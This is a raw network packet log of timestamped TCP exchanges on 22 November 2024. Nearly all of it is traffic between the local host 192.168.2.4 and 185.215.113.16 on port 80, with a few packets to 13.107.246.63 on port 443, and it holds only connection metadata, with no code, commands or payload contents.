Nov 22, 2024 04:12:27.172146082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.174067974 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.174175024 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.174204111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.174252987 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.175965071 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.176024914 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.176093102 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.176137924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.177871943 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.177944899 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.177995920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.178045034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.179930925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.179980993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.179982901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.180028915 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.181649923 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.181704998 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.181772947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.181823969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.183563948 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.183621883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.183680058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.183727026 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.185401917 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.185504913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.185533047 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.185585976 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.187254906 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.187310934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.187406063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.187459946 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.189089060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.189141989 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.189227104 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.189279079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.190968990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.191019058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.191021919 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.191072941 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.192789078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.192847013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.192914009 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.192966938 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.194633007 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.194686890 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.194766998 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.194819927 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.196479082 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.196572065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.196603060 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.196651936 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.198352098 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.198410034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.198486090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.198538065 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.200212002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.200263977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.200285912 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.200334072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.202028036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.202080965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.202099085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.202146053 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.203885078 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.203937054 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.203983068 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.204032898 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.205606937 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.205718994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.205763102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.205879927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.205929041 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.206075907 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.206094027 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.206516027 CET	49802	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:27.206527948 CET	443	49802	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:27.207573891 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.207628965 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.207685947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.207743883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.209425926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.209477901 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.209613085 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.209666014 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.211281061 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.211328983 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.211468935 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.211522102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.213129997 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.213196993 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.213264942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.213306904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.214972019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.215024948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.215105057 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.215158939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.216825008 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.216926098 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.216936111 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.216984034 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.218655109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.218708038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.218753099 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.218803883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.220510960 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.220571995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.220652103 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.220701933 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.222383976 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.222435951 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.222501993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.222553968 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.224236012 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.224292040 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.224364042 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.224411011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.226064920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.226119995 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.226197958 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.226249933 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.227921963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.228015900 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.228035927 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.228086948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.229768038 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.229819059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.229866028 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.229922056 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.231615067 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.231668949 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.231683016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.231733084 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.233459949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.233511925 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.233592987 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.233643055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.235307932 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.235368013 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.235436916 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.235481977 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.240070105 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.240123987 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.240247011 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.240294933 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.240341902 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.240436077 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.241725922 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.241785049 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.345036030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.345093012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.345236063 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.345284939 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.345782042 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.345832109 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.346227884 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.346271038 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.347124100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.347168922 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.347405910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.347469091 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.348351002 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.348393917 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.348459959 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.348507881 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.349682093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.349728107 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.349803925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.349858999 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.350985050 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.351027966 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.351068020 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.351111889 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.352540970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.352596045 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.352644920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.352693081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.353899956 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.353940010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.354126930 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.354168892 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.354914904 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.354954004 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.355118036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.355164051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.356112003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.356152058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.356226921 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.356261969 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.357362032 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.357404947 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.357482910 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.357527018 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.358628035 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.358673096 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.358747005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.358791113 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.359916925 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.359963894 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.359966993 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.360011101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.361246109 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.361294031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.361893892 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.361939907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.362458944 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.362504005 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.362574100 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.362618923 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.363662004 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.363708973 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.363773108 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.363816023 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.365026951 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.365072012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.365108013 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.365153074 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.366095066 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.366141081 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.366199970 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.366245985 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.367342949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.367388010 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.367439985 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.367484093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.368566990 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.368611097 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.368648052 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.368691921 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.369801998 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.369874001 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.369966030 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.370009899 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.371038914 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.371083975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.371169090 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.371212006 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.372272968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.372317076 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.372432947 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.372477055 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.373514891 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.373560905 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.373604059 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.373647928 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.374758005 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.374800920 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.374866962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.374908924 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.375962019 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.376004934 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.376069069 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.376111031 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.377175093 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.377216101 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.377285957 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.377329111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.378412962 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.378457069 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.378526926 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.378571987 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.379667044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.379713058 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.379796982 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.379836082 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.380877018 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.380922079 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.381001949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.381042957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.382114887 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.382160902 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.382210016 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.382249117 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.383371115 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.383416891 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.383503914 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.383548975 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.384588003 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.384632111 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.384675026 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.384722948 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.385822058 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.385867119 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.385911942 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.385955095 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.387033939 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.387079954 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.387147903 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.387192011 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.388283968 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.388326883 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.388384104 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.388431072 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.389528036 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.389574051 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.389617920 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.389662981 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.390734911 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.390806913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.390844107 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.390888929 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.391989946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.392039061 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.392083883 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.392132044 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.393228054 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.393280029 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.393323898 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.393369913 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.394459963 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.394507885 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.394552946 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.394591093 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.395701885 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.395752907 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.395802975 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.395849943 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.396970034 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.397016048 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.397088051 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.397135973 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.398166895 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.398212910 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.398277044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.398323059 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.399400949 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.399441957 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.399574041 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.399616003 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.400629044 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.400676012 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.400732994 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.400777102 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.401859045 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.401911974 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.401956081 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.402000904 CET	49798	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:27.403094053 CET	80	49798	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:27.403140068 CET	49798	80	192.168.2.4	185.215.113.16
